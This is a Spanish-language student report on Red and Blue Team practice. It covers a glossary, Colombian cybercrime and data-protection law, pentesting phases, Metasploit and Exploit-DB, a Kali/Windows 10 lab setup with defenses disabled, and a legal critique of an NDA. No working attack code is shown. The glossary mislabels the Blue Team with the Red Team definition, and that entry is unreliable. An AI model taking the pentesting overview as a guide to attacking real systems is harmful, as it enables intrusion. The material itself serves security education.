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GLOSARIO

Blue Team: El Equipo Rojo esta formado por profesionales de la seguridad que
actian como una amenaza en un intento de derrotar los controles de seguridad
cibernética. Estos grupos suelen estar formados por hackers informaticos éticos e
independientes que evallan objetivamente la seguridad del sistema.

Ciberseguridad: Protege los sistemas y datos de accesos no autorizados, dafos
o robos, garantizando la disponibilidad, confidencialidad e integridad de la
informacion. Minimizar el impacto de un ataque o incidente de seguridad.

CSIRT: Un Equipo de Respuesta a Incidentes de Seguridad (CSIRT) es una
organizacion que es responsable de recibir, revisar y responder a informes y
actividad sobre incidentes de seguridad.

CIS: Proporciona guias y benchmarks de seguridad para sistemas operativos y
aplicaciones, ayudando a los equipos Blue Team a endurecer la seguridad de sus
sistemas, asi como también desarrollar y promover soluciones de ciberseguridad
estableciendo distintas capas de proteccion en todos los niveles con sistemas
proactivos de defensa y sistemas de respuesta.

CVE: Es un sistema de identificacion de vulnerabilidades de seguridad informatica.
Cada CVE se asigna a una vulnerabilidad especifica y se le asigna un numero
anico.

Exploit: Se trata de una estrategia o conjunto de instrucciones elaboradas para
explotar una debilidad particular en un sistema informatico o una aplicacién, con la
intencién de comprometer la seguridad de dicho sistema.

Exploit DB: Es una base de datos de exploits de codigo abierto. Contiene exploits
para vulnerabilidades conocidas, asi como informacion sobre las vulnerabilidades
en si. El sitio web https://www.exploit-db.com/ es una base de datos de exploits,
donde los investigadores de seguridad publican codigos y técnicas para
aprovechar vulnerabilidades conocidas.

Footprintin: Implica técnicas como la exploracién de puertos, la busqueda de
informacion en redes sociales, la recoleccion de datos publicos, el escaneo de
sitios web y otras actividades de investigacion para obtener una imagen completa
del objetivo y sus posibles puntos débiles.
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GPL: Son las siglas de "General Public License" (Licencia Publica General, en
espafol). Se trata de una licencia de software de cédigo abierto creada por la Free
Software Foundation (FSF) que garantiza a los usuarios ciertos derechos para el
uso, modificacion y distribucion del software licenciado bajo sus términos. La GPL
es una de las licencias mas populares en el mundo del software libre y de codigo
abierto.

Intrusion: Se refiere a la accién de ingresar de manera no autorizada o no
deseada a un sistema informatico, red o espacio fisico con el propésito de realizar
actividades maliciosas, como robo de informacién, dafo a sistemas, o vigilancia no
autorizada.

Metasploit: Es un framework de cédigo abierto que proporciona una amplia gama
de herramientas para realizar pruebas de penetracion.

MSFVenom: Herramienta incluida en el framework Metasploit para generar
payloads (cargas Uutiles) personalizadas para explotar vulnerabilidades en el
sistema operativo objetivo.

NMAP: Es una herramienta de codigo abierto ampliamente utilizada para el
escaneo de redes y la deteccién de dispositivos en una red.

OpenSource: Se refiere al software cuyo codigo fuente esta disponible para que
cualquiera lo pueda ver, modificar y distribuir segin los términos de una licencia
especifica de cédigo abierto.

Payload: Modulos que se ejecutan en el sistema objetivo después de una
explotacion exitosa.

Pentesting (Pruebas de Penetracion): Se refiere a la evaluacion de la seguridad
de un sistema informético o red mediante la simulacion de un ataque cibernético
controlado por parte de profesionales de seguridad. El objetivo es identificar y
corregir vulnerabilidades antes de que puedan ser explotadas por actores
malintencionados.

Purple team: Trabaja en colaboracibn para mejorar la postura general de

seguridad de una organizacion. Los profesionales de seguridad ofensiva simulan
ataques, mientras que los de seguridad defensiva observan, detectan y responden
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a esos ataques, compartiendo conocimientos y mejorando la resiliencia de la
organizacion.

Reconnoissance (Reconocimiento): Es la fase inicial de un ataque cibernético
donde se recopila informacion sobre el objetivo. Puede incluir la basqueda de
informacion en linea, analisis de sistemas, escaneo de redes y otras actividades
para comprender la infraestructura y las posibles vulnerabilidades de un objetivo
antes de realizar un ataque.

Red Teams: Son equipos de profesionales de seguridad que simulan ataques
cibernéticos contra una organizacion para evaluar y mejorar su postura de
seguridad. Los Red Teams emplean tacticas, técnicas y procedimientos (TTP)
similares a las utilizadas por los actores malintencionados reales para identificar
vulnerabilidades y probar la capacidad de deteccion y respuesta de la
organizacion.

SIEM: (Security Information and Event Management) es una plataforma o conjunto
de herramientas elaboradas para recolectar, relacionar, examinar y administrar
informacion de seguridad proveniente de diversas fuentes en tiempo real. Su
propésito es asistir a las organizaciones en la deteccidn y respuesta ante
amenazas cibernéticas e incidentes de seguridad.

Virtual Box: El software de virtualizacion multiplataforma de codigo abierto mas
popular del mundo que permite a los desarrolladores entregar codigo mas rapido
ejecutando multiples sistemas operativos en un solo dispositivo.

XDR: (Extended Detection and Response) Amplia las capacidades de los
sistemas convencionales de Deteccion y Respuesta, ofreciendo una perspectiva
mas abarcadora y mejorando la capacidad de reaccidon frente a las amenazas
cibernéticas.
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RESUMEN

La proteccion de la seguridad digital se ha vuelto una prioridad esencial para todas
las organizaciones que confian en infraestructuras de tecnologia de la informacion
(TI) para realizar sus actividades. Es crucial que estas organizaciones establezcan
equipos en ciberseguridad, como el Equipo Rojo (Red Team) y el Equipo Azul
(Blue Team), para resguardar sus recursos digitales y reducir los riesgos
asociados. En este contexto introductorio, examinaremos la importancia de tales
equipos y qué requisitos necesitan las organizaciones con infraestructuras de TI
para salvaguardar su integridad en el entorno digital.

El trabajo detalla un escenario de ataque mediante un metasploit por medio de un
payload desde Kali Linux. Se da respuesta al ataque informético en la maquina
Windows 10 X64, el equipo Blue Team implementé medidas exhaustivas para
identificar, subsanar y erradicar la amenaza. Mediante el monitoreo de registros de
seguridad y la deteccion de anomalias, se logré identificar el ataque en tiempo
real. La maquina afectada fue aislada de la red y sometida a un analisis forense
detallado para determinar el alcance del compromiso y los pasos necesarios para
su recuperaciéon. El equipo Blue Team se enfocd en fortalecer la seguridad del
sistema operativo mediante la descarga y aplicacibn de una guia de
endurecimiento proporcionada por el CIS. Se activaron los sistemas de seguridad
previamente deshabilitados y se aplicaron politicas adicionales para restringir la
ejecucion de archivos y fortalecer los permisos de usuario. Estas medidas
preventivas adicionales se implementaron con el objetivo de prevenir futuros
ataques y garantizar la integridad y seguridad de los sistemas.

La respuesta del equipo Blue Team resalta la importancia de la colaboracion entre
los equipos de seguridad en la deteccion y mitigacidbn de amenazas cibernéticas.
Al seguir las mejores practicas de seguridad y utilizar herramientas adecuadas, se
logré6 proteger eficazmente el entorno de la organizacion contra ataques
informaticos, reforzando asi su postura de seguridad y mitigando el riesgo de
futuras intrusiones. Se tuvo en cuenta el contexto ético y legal de los equipos de
Red Team y Blue Team en Colombia se encuentra regido por varias leyes y
normativas, siendo las principales la Ley 1273 de 2009, que establece
disposiciones relacionadas con delitos informaticos, y la Ley 1581 de 2012, que
trata sobre la proteccion de datos personales.

PALABRAS CLAVE: Analisis, Exploit, Prueba, Payload,Test, Vulnerabilidad
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ABSTRACT

Cybersecurity has become a priority for all organizations relying on Information
Technology (IT) infrastructures to conduct their operations. It is crucial for
organizations to have strategic cybersecurity teams, such as Red Team and Blue
Team, to protect their digital assets and mitigate associated risks. In this
introduction, we will explore the importance of these teams and what organizations
with IT infrastructures need to ensure their cybersecurity in cyberspace.

The paper details a scenario of attack using Metasploit via a payload from Kali
Linux, responding to the cyberattack on the Windows 10 X64 machine. The Blue
Team implemented comprehensive measures to identify, address, and eradicate
the threat. Through monitoring security logs and anomaly detection, the attack was
identified in real-time. The affected machine was isolated from the network and
subjected to a detailed forensic analysis to determine the extent of compromise
and necessary steps for recovery. The Blue Team focused on strengthening the
operating system's security by downloading and implementing a hardening guide
provided by the CIS. Previously disabled security systems were activated, and
additional policies were applied to restrict file execution and enhance user
permissions. These additional preventive measures were implemented to prevent
future attacks and ensure system integrity and security.

The Blue Team's response underscores the importance of collaboration among
security teams in detecting and mitigating cyber threats. By following best security
practices and using appropriate tools, the organization's environment was
effectively protected against cyberattacks, reinforcing its security posture and
mitigating the risk of future intrusions.

The ethical and legal context of Red Team and Blue Team activities in Colombia is
considered, governed by various laws and regulations. The main ones include Law
1273 of 2009, which establishes provisions related to cybercrimes, and Law 1581
of 2012, which deals with the protection of personal data.

KEYWORDS: Analysis, Exploit, Test, Payload, Test, Vulnerability
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1. INTRODUCCION

En un entorno digital cada vez mas complejo y dinamico, la seguridad cibernética
se ha convertido en una prioridad absoluta para las organizaciones en todo el
mundo. Ante la creciente sofisticacion y diversificacion de las amenazas
informaticas, los equipos Blue Team desempefian un papel crucial en la proteccion
y defensa de los sistemas y redes de una organizacion. En este informe, se
examinara detalladamente el papel y las responsabilidades del equipo Blue Team
en la deteccion, respuesta y mitigacidon de amenazas cibernéticas.

El escenario planteado se representa un desafio significativo para el equipo Blue
Team, que debe estar preparado para enfrentar ataques informaticos en tiempo
real y tomar medidas rapidas y efectivas para proteger los activos de la
organizacion. El analisis detallado de este escenario permitira comprender mejor
las técnicas utilizadas por los ciberdelincuentes y las estrategias empleadas por el
equipo Blue Team para contrarrestarlas.

Ademas de abordar el escenario especifico de ataque, este informe también
explorard las diferencias entre los equipos Blue Team, Red Team y Purple Team,
asi como el papel crucial que desempefia el Center for Internet Security (CIS) en
la promocion de las mejores practicas de seguridad cibernética. Se espera que
este analisis proporcione una vision clara de las medidas adoptadas por el equipo
Blue Team para proteger proactivamente los activos de la organizacion y mitigar
los riesgos asociados con las amenazas cibernéticas en evolucion.
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2. OBJETIVOS

2.1 OBJETIVO GENERAL

Analizar y documentar las acciones y estrategias implementadas por los equipos
Red Team y Blue Team para detectar, contener y mitigar un ataque informatico en
tiempo real, con el fin de fortalecer la postura de seguridad cibernética de la
organizacion.

2.2 OBJETIVOS ESPECIFICOS

e Analizar y comprender la legislacion actual relacionada con delitos
informaticos y la proteccibn de datos en Colombia, contextualizando su
aplicacion dentro del marco constitucional colombiano, con el fin de adquirir un
conocimiento integral de los principios legales y normativas que rigen estos
ambitos y su relevancia en el entorno juridico y tecnoldgico del pais.

e Investigar y describir el escenario de ataque presentado, identificando las
sefiales de compromiso, las vulnerabilidades explotadas y las técnicas
utilizadas por los ciberdelincuentes.

e Documentar el paso a paso de las medidas tomadas por el equipo Blue Team
para asegurar y erradicar el ataque en la maquina afectada, incluyendo la
implementacion de politicas de seguridad, la identificacién y eliminacion del
malware y la configuracién de medidas de prevencion adicionales.

e Explorar las diferencias entre los equipos Blue Team, Red Team y Purple
Team, analizando sus roles, responsabilidades y enfoques en la seguridad
cibernética, asi como el papel del Center for Internet Security (CIS) en el
fortalecimiento de guias técnicas en la organizacion.
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3. DESARROLLO DEL TABAJO

Durante el seminario, se exploraron cuatro situaciones clave dentro del &mbito del
equipo Blue Team y Red Team. Estos casos ofrecieron una comprension
exhaustiva de como el equipo Blue Team se dedica a proteger la infraestructura
de Tl y a responder a posibles amenazas, mientras que el equipo Red Team lleva
a cabo simulaciones de ataques cibernéticos para detectar vulnerabilidades en
sistemas y redes. A continuacion, examinaremos cada uno de estos escenarios en
detalle:

3.1 ESCENARIO 1: Situacién problema: Montaje banco de trabajo

3.1.1 Marcos Regulatorios

En la actualidad en Colombia, se han establecido marcos regulatorios que
abordan no solo la legislacion sobre delitos informaticos, sino también la
proteccion de los datos personales, los cuales son recopilados por diversas
organizaciones. Dichas organizaciones tienen la responsabilidad de garantizar la
seguridad de estos datos, los cuales involucran informacion de miles de personas.
En este contexto, es necesario entender de manera general y con un lenguaje
claro la Ley 1273 de 2009, asi como también describir cada uno de sus articulos.
Ademas, se requiere explicar de forma general todo lo relacionado con la Ley
1581 de 2012. Respecto a la Ley 1581 de 2012, es importante mencionar las
multas correspondientes establecidas en esta ley y la entidad encargada de
regular este tema en Colombia.

La Ley 1273 de 2009, conocida como la ley de delitos informaticos en Colombia,
tiene como objetivo principal establecer normas para prevenir, investigar y
sancionar los delitos informéaticos y proteger la integridad y confidencialidad de la
informacion y los datos almacenados en sistemas informaticos. En general lo que
busca es, tipificar como delitos los ataques informaticos, proteger la informacion y
los datos personales y garantizar la seguridad de los sistemas que utilizan las TIC.

A continuacion, se detallan los principales aspectos de esta ley:

Articulo 1: Define los delitos informaticos y establece que seran sancionados de
acuerdo con lo dispuesto en esta ley.
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Articulo 2: Establece que la ley es aplicable a los delitos cometidos a través de
sistemas informaticos, redes de telecomunicaciones y cualquier otra tecnologia de
la informacién y la comunicacion.

Articulo 3: Se refiere a la competencia de las autoridades colombianas para
investigar y sancionar los delitos informaticos cometidos dentro del territorio
colombiano, asi como aquellos que afecten bienes juridicos colombianos.

Articulo 4: Establece la jurisdiccion aplicable en caso de delitos informaticos
cometidos fuera del territorio colombiano pero que afecten bienes juridicos
colombianos.

Articulo 5: Se refiere a las penas aplicables para los delitos informéticos, las
cuales pueden incluir prision y multas, dependiendo de la gravedad del delito.

Articulo 6: Establece que la responsabilidad penal no excluye la civil o
administrativa, es decir, ademas de la sancion penal, el infractor puede ser objeto
de acciones civiles o administrativas.

Penalidad de cada uno de los articulos:

e Articulo 269A: Acceso abusivo a un sistema informatico.
Penalidad: 48 a 96 meses de prisidbn y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion
Penalidad: 48 a 96 meses de prisidbn y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269C: Interceptacion de datos informéticos
Penalidad: 36 a 72 meses de prision y multa de 50 a 500 salarios minimos legales
mensuales vigentes.

e Articulo 269D: Dafo informatico
Penalidad: 48 a 96 meses de prision y multa de 100 a 1000 salarios minimos

legales mensuales vigentes.

e Articulo 269E: Suplantacion de identidad
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Penalidad: 48 a 96 meses de prision y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269F: Falsedad en documento informatico
Penalidad: 48 a 96 meses de prision y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269G: Uso de software malicioso
Penalidad: 48 a 96 meses de prision y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269H: Violacion de datos personales
Penalidad: 48 a 96 meses de prision y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

e Articulo 269I: Perturbacion de servicio de telecomunicaciones
Penalidad: 36 a 72 meses de prisién y multa de 50 a 500 salarios minimos legales
mensuales vigentes.

e Articulo 269J: Circunstancias de agravacion punitiva
Penalidad: Aumenta la pena en la mitad cuando el delito se comete:

e Contra un nifio, nifia o adolescente.

e Por un servidor publico.

e Con fines de lucro.

e Con el fin de afectar la seguridad nacional.

En cuanto a la Ley 1581 de 2012, esta se enfoca en la protecciobn de datos
personales en Colombia. Esta ley establece los principios, derechos vy
procedimientos que deben seguir tanto las entidades publicas como privadas que
manejen datos personales. Algunos aspectos importantes de esta ley son:

Principios de la proteccion de datos: La ley establece principios como el
principio de finalidad, calidad, consentimiento, seguridad, confidencialidad, entre
otros, que deben ser respetados en el tratamiento de datos personales.

Derechos de los titulares: Reconoce una serie de derechos para los titulares de

los datos personales, como el derecho de acceso, rectificacion, cancelacion y
oposicion (conocidos como derechos ARCO).
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Registro Nacional de Bases de Datos: Establece la obligacién de inscribir las
bases de datos en el Registro Nacional de Bases de Datos, administrado por la
Superintendencia de Industria y Comercio.

Sanciones: En cuanto a las sanciones, la ley contempla multas que pueden
ascender hasta 2.000 salarios minimos legales mensuales vigentes.

Autoridad de control: La Superintendencia de Industria y Comercio es la entidad
encargada de ejercer vigilancia y control sobre el cumplimiento de esta ley.

3.1.2 Pentesting

El pentesting, o prueba de penetracion, es un proceso crucial en el campo de la
ciberseguridad que permite evaluar la seguridad de un sistema informatico al
simular ataques controlados por parte de un experto en seguridad. A continuacion,
se detallan las etapas del pentesting:

e Reconocimiento (Reconnaissance): En esta etapa, se recopila
informacion sobre el objetivo del pentesting, como direcciones IP, nombres
de dominio, empleados clave y otra informacion relevante.

e Footprinting (Identificacion de Perimetro): Esta etapa implica el analisis
de la informacién recopilada durante el reconocimiento para identificar y
mapear la infraestructura de red y los sistemas objetivo.

e Enumeracion (Enumeration): Se realizan escaneos mas detallados de los
sistemas identificados para obtener informacion adicional, como puertos
abiertos, servicios en ejecucién y usuarios validos.

e Obtencion _de acceso (Gaining Access): En esta etapa, se intenta
obtener acceso no autorizado a los sistemas objetivo utilizando diversas
técnicas, como explotacién de vulnerabilidades, ingenieria social o ataques
de fuerza bruta.

e Mantenimiento de acceso (Maintaining Access): Una vez obtenido el
acceso, se busca mantenerlo de manera persistente en el sistema para
poder continuar con la evaluacién de seguridad.

20



e Analisis de la red (Covering Tracks): Se llevan a cabo actividades para
ocultar o disfrazar las actividades realizadas durante el pentesting y evitar
ser detectado.

La etapa de Footprinting, o Identificacibn de Perimetro, es crucial dentro del
pentesting porque proporciona la base para las etapas posteriores. En esta etapa,
se recopila informacién detallada sobre la infraestructura de red, los sistemas en
uso y posibles puntos de entrada. Algunas aplicaciones que se pueden utilizar
para este proceso incluyen:

Aplicaciones Open Source:

e Maltego: Herramienta de inteligencia de codigo abierto utilizada para la
recopilacion y visualizacion de informacion.

e TheHarvester: Utilidad de linea de comandos para recopilar informacion de
dominios, correos electronicos y subdominios.

e DNSdumpster: Extraccion de informacién de registros DNS.

Aplicaciones Pagas:

e Nmap: Aunque Nmap es de cbdigo abierto, algunas empresas ofrecen
versiones comerciales con caracteristicas adicionales y soporte.

e Metasploit Framework: Aunque Metasploit tiene una version gratuita,
también se ofrece una version comercial con caracteristicas avanzadas y
soporte técnico.

e Spiderfoot: Automatiza la recopilacion de informacién de diversas fuentes.
e Recon-ng: Marco de trabajo modular para el footprinting.
e Intruder: Herramienta avanzada para la deteccién de vulnerabilidades.

La etapa de Footprinting es crucial porque proporciona una comprension profunda

del entorno objetivo, lo que permite identificar posibles vulnerabilidades y puntos
de entrada para un atacante. Sin esta informacién, el pentester podria pasar por
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alto areas criticas de la infraestructura que podrian ser explotadas por un atacante
real. Por lo tanto, esta etapa es esencial para garantizar una evaluacion
exhaustiva de la seguridad del sistema.

3.1.3 Metasploit

Es un framework de cddigo abierto que proporciona una amplia gama de
herramientas para realizar pruebas de penetracion.

Funcionamiento: Metasploit se basa en médulos, lo que significa que se puede

personalizar y ampliar con facilidad. Los modulos se dividen en diferentes
categorias, como:

e Exploits: Modulos que aprovechan vulnerabilidades en software y sistemas
operativos.

e Payloads: Modulos que se ejecutan en el sistema objetivo después de una
explotacién exitosa.

e Auxiliares: Modulos que se utilizan para realizar tareas de apoyo, como
escaneo de redes y recopilacion de informacion.

e Post-explotacién: Modulos que se utilizan para mantener el acceso al
sistema objetivo y realizar acciones adicionales.

e Arquitectura: Metasploit se compone de varios componentes principales:

v

v

v

Consola: Interfaz de linea de comandos para interactuar con

Metasploit.

Framework: Core del framework que carga y ejecuta los médulos.

Base de datos: Almacena informacion sobre las vulnerabilidades,

exploits y payloads.

Interfaz web: Interfaz grafica de usuario para usar Metasploit.

e Opciones: Metasploit ofrece una amplia gama de opciones para realizar
pruebas de penetracion, incluyendo:

v

v

Escaneo de vulnerabilidades: Metasploit puede escanear sistemas

en busca de vulnerabilidades conocidas.
Explotacion _de vulnerabilidades: Metasploit puede explotar
vulnerabilidades para obtener acceso a un sistema objetivo.
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v' Ejecucién de payloads: Metasploit puede ejecutar payloads en el
sistema objetivo para realizar diferentes acciones.

v Post-explotacién: Metasploit ofrece una variedad de herramientas
para mantener el acceso al sistema objetivo y realizar acciones
adicionales.

¢, Qué es un CVE y su estructura?

CVE (Common Vulnerabilities and Exposures): Es un sistema de identificacion de
vulnerabilidades de seguridad informatica. Cada CVE se asigna a una
vulnerabilidad especifica y se le asigna un niamero unico.

e Estructurade un CVE:

CVE-AAAA-NNNN:

AAAA: Ao en que se descubrio la vulnerabilidad.
NNNN: Numero secuencial tnico.

Ejemplo: CVE-2024-20045

e https://www.exploit-db.com/ como se utiliza y cémo se articula con el
CVE?

Exploit-DB: Es una base de datos de exploits de cédigo abierto. Contiene exploits
para vulnerabilidades conocidas, asi como informacion sobre las vulnerabilidades
en si.

El sitio web https://www.exploit-db.com/ es una base de datos de exploits, donde
los investigadores de seguridad publican codigos y técnicas para aprovechar
vulnerabilidades conocidas. Los exploits publicados en Exploit Database a
menudo estan asociados con CVE especificos, lo que facilita la busqueda y
comprension de las amenazas de seguridad.

En el proceso de identificar y explotar vulnerabilidades utilizando Metasploit, los
expertos en ciberseguridad utilizan CVEs como referencia para entender la
naturaleza y gravedad de la vulnerabilidad. Una vez que identifican una
vulnerabilidad utilizando Metasploit, pueden buscar si existe un exploit asociado a
ese CVE especifico en sitios como Exploit Database. Si hay un exploit disponible,
los expertos pueden utilizar Metasploit para explotar la vulnerabilidad y evaluar la
seguridad del sistema objetivo.
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3.1.4 Banco de Trabajo

Para finalizar esta actividad es importante que usted reconozca, analice y
configure “banco de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre el cual
debera trabajar actividades que contienen un alto grado de tecnicidad.

Situacion problema: Montaje banco de trabajo

e Paso A: Descargar la herramienta virtualizadora “VirtualBox”

llustracion 1 Instalaciéon VirtualBox

2 previsuakzacién

Metasploitable3-
ub1404

" VirtualBox

7.0 |

Fuente: Elaboracion Propia

e Paso B: Para el banco de trabajo se requieren 2 maquinas virtuales, una
con Kali Linux (la version que tengan) y la otra maquina deberd ser un
Windows 10 con todo su sistema de seguridad abajo (Windows defender,
antivirus, firewall entre otros). EI Windows 10 no requiere que esté
licenciado, la version basica que genera Microsoft es suficiente y lo pueden
descargar directamente de la pagina web https://www.microsoft.com/es-
es/softwaredownload/windows10 o si cuentan con alguna imagen de
Windows 10 la podran utilizar. Para Kali Linux lo podra descargar de su
pagina oficial: https://www.kali.org/getkali/#kali-platforms
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llustracion 2 Instalacion Kali Linux

ugares

Fuente: Elaboracion propia

llustracion 3 Instalacion Windows 10

= Pantalla
Cambiar el nombre de este equipo
49 Sonido

Especificaciones de Windows
3 Notifieaciones y acciones

.....
2 Asistente de concentracion

@ Energia y suspension
 Amacenamiento
3 Tablets

Bt Muttitarea

& Proyeccion en este equipo

= o - W o™

Fuente: Elaboracién Propia

e Paso C: Debe validar que exista comunicacion entre cada una de las
maquinas Windows y Kali Linux, recuerde por favor no exceder la
asignacion de recursos entre las dos maquinas ya que puede colapsar los
recursos hardware de su equipo host, encienda primero una maquina
Windows y posterior a ello encienda la maquina Kali Linux.

Se procede a ingresar a la consola de comandos y escribimos IPCONFIG para asi
obtener la IP de la maquina virtual de Windows 10.

IP: 192.168.106.1
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llustracion 4 Direcciéon IPv4 Windows 10

] simootc et stems

Fuente: Elaboracion Propia

Se procede a ingresar a la consola de comandos y escribimos IFCONFIG para asi
obtener la IP de la maquina virtual de Kali Linux

IP: 192.168.106.210

llustraciéon 5 Direccion IP de Kali Linux

14 de feb 16:12

Fuente: Elaboracion Propia

Para ver si existe comunicacion entre ambas maquinas virtuales configuramos la
red de ambas en adaptador puente. Configurado este procedemos a ingresar en
cada una de las maquinas y realizamos ping a las direcciones IP de cada una de

ellas.
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Ping de Kali Linux a Windows 10 IP 192.168.106.1

llustracién 6 Ping de Kali Linux a Windows 10

14 defeb 16:13

Fuente: Elaboracion Propia
Ping de Windows 10 a Kali Linux IP 192.168.106.210

llustracién 7 Ping de Windows 10 a Kali Linux

h M
FeuBaNe
90 dx €59

Fuente: Elaboracion Propia

e Paso D: Evidenciar con printscreen el montaje del banco de trabajo y
explicar como se encuentra desplegado “caracteristicas técnicas de
hardware”.
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Caracteristicas técnicas de Windows 10: Abrimos la ventana de ejecutar y
escribimos msinfo32 para ver las caracteristicas.

Memoria RAM: 2 GB

Procesador: Core i5

Disco Duro: 45 GB

Sistema Operativo: Windows 10 Pro

llustracion 8 Caracteristicas de Windows 10

Acerca de

Tu equipo esta supervisado y
protegido.

Fuente: Elaboracion Propia

Caracteristicas técnicas de Kali Linux: Utilizamos el comando LSCPU para
validar las caracteristicas.

Memoria RAM: 3 GB

Procesador: Core i5

Disco Duro: 26.8 GB

Sistema Operativo: Kali GNU/ Linux Rolling
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llustracion 9 Caracteristicas técnicas

Fuente: Elaboracion Propia

3.2 Escenario 2: Situacién problema: Analisis legal

3.2.1 Acuerdo De Confidencialidad

Segun el ACUERDO DE CONFIDENCIALIDAD ENTRE NOMBRE ESTUDIANTE
Y HACKERHOUSE dando respuesta al siguiente interrogante se encuentran los

siguientes parrafos que se tornan ilegales dentro del acuerdo:

llustracion 10 Primera Clausula

Primera. Objeto: en virtud del presente acuerdo de
confidencialidad, |a parte receptora, se obliga a no divulgar directa,
indirecta, préxima a remotamente, ni a través de ninguna otra persona
o de sus subalternos o funcionarios, autoridades legales, asesores o
cualquier persona relacionada con ella, la informacién confidencial
o sobre procesos ilegales dentro de HackerHouse no podran ser
divulgados.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbtil33/mod/folder/view.php?id=2426

e Péarrafo Primero, Primera: Objeto: La Clausula Primera del Acuerdo de
Confidencialidad establece el objeto de este, que es la obligacion de la
parte receptora de mantener la confidencialidad de la informacion
proporcionada por HackerHouse.

En resumen, la Clausula Primera dice lo siguiente:
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La parte receptora se obliga a no divulgar, directa o indirectamente, la
informacion confidencial.

La informacion confidencial incluye cualquier informacion proporcionada por
HackerHouse, ya sea oral o escrita.

La informacion confidencial también incluye cualquier informacién sobre
procesos ilegales dentro de HackerHouse.

En otras palabras, la parte receptora no puede compartir la informacién
confidencial con nadie, ni siquiera con amigos, familiares o compaferos de
trabajo.

llustracion 11 Segunda Clausula, Numeral 2

2. Cualquier informacién societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas
tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como "datos de chuzadas, interceptacion ilegal de
informacion, accesos abusivos a sistemas informaticos”.

parte receptora tenga conocimiento o a la que tenga acceso
por cualquier medio o circunstancia en virtud de las reuniones
sostenidas y/o documentos suministrados.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbtil33/mod/folder/view.php?id=2426

Parrafo de la Segunda Clausula, numeral 2: Se menciona la proteccién
de informacion sobre procesos ilegales dentro de HackerHouse. Si el
acuerdo esta protegiendo informacion sobre actividades ilegales, esto
podria implicar complicaciones legales para ambas partes. Es importante
resaltar que ningun acuerdo puede proteger la divulgacion de actividades
ilegales.

En otras palabras, la parte receptora se obliga a mantener en secreto cualquier
informacion que obtenga de la parte reveladora, incluso si esta informacion no es
publica.
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Ejemplo: Si un empleado de HackerHouse tiene acceso a informacion sobre un
nuevo producto que la empresa esta desarrollando, el empleado esta obligado a
mantener esta informacion en secreto. No puede compartirla con nadie, ni siquiera
con amigos, familiares o la justicia.

llustracion 12 Parrafo de la cuarta clausula, numeral 3

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacién de terceros.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbti1l33/mod/folder/view.php?id=2426

e Péarrafo de la Cuarta Clausula, numeral 3: Viola el deber legal de
denunciar en Colombia, existe el deber legal de denunciar ante las
autoridades cualquier delito del que se tenga conocimiento. La ley relevante
en este caso seria la Ley 1273 de 2009, también conocida como la "Ley de
Delitos Informaticos". Esta ley establece disposiciones relacionadas con la
proteccion de la informacion y los sistemas informaticos, asi como la
penalizacion de delitos informaticos, como el acceso ilegal a sistemas
informaticos.

Se obstruye la justicia: Al impedir que los empleados denuncien actividades
sospechosas, esta clausula podria obstruir la justicia y permitir que los delitos
queden impunes.

Este parrafo prohibe a la parte receptora denunciar actividades sospechosas de
espionaje u otros procesos relacionados con la apropiacion de informacién de
terceros. Esto podria ser problematico ya que va en contra del deber de un
individuo de reportar actividades ilegales o sospechosas a las autoridades
competentes.

llustracion 13 Parrafo de la sexta Clausula

Sexta. Responsabilidad: |la parte que contravenga el acuerdo serd
responsable ante la otra parte o ante los terceros de buena fe sobre
los cuales se demuestre que se han visto afectados por la inobservancia
del presente acuerdo, por los perjuicios morales y econémicos que
estos puedan sufrir como resultado del incumplimiento de las
obligaciones aqui contenidas.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbti1l33/mod/folder/view.php?id=2426
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e Parrafo de la Sexta Clausula: La parte que contravenga el acuerdo es
responsable de los perjuicios morales y econémicos que sufra la otra parte
o terceros de buena fe como resultado del incumplimiento. Esto podria ser
cuestionable si el acuerdo estéd siendo utilizado para proteger actividades
ilegales.

Si la empresa HackerHouse exige a un empleado que no revele informacion
confidencial y el empleado incumple esta obligacion, HackerHouse podria
demandar al empleado por los dafios y perjuicios que le haya causado. Estos
dafos y perjuicios podrian incluir, por ejemplo, la pérdida de clientes o la fuga de
informacion confidencial a la competencia.

En general, la clausula sexta del acuerdo de confidencialidad es una herramienta
importante para proteger los intereses de las partes.

llustracion 14 Parrafo de la Octava Clausula

Octava. Solucion de controversias: Las partes (nombre estudiante
- nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternatives de solucidén de conflictos
cualquier diferencia que surja con motivo de la ejecucién del presente
acuerdo. En caso que la informacién ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privade y dejar exenta de cualquier responsabilidad legal y penal a
HackerHouse.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbtil33/mod/folder/view.php?id=2426

e Parrafo de la Octava Clausula: Si el receptor de la informacién encuentra
informacion ilegal o confidencial en sus manos, se le pide que acuda a un
abogado privado y deje exenta de cualquier responsabilidad legal y penal a
HackerHouse. Esto podria ser problematico ya que la participacién en
actividades ilegales no puede ser eximida de responsabilidad legal
mediante un acuerdo.

En caso de que la informacion ilegal o confidencial sea encontrada en manos del
receptor este deberd acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a HackerHouse.

Esto significa que, si el receptor de la informacion confidencial la utiliza de forma
ilegal o la revela a terceros, sera el Unico responsable de las consecuencias
legales y penales de sus actos.
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En cuanto a la ultima parte de la clausula, que establece que el receptor de la
informacion ilegal o confidencial debe eximir de responsabilidad a HackerHouse,
es importante tener en cuenta que esta disposicion podria ser considerada
abusiva.
llustracion 15 Parrafo de la novena clausula
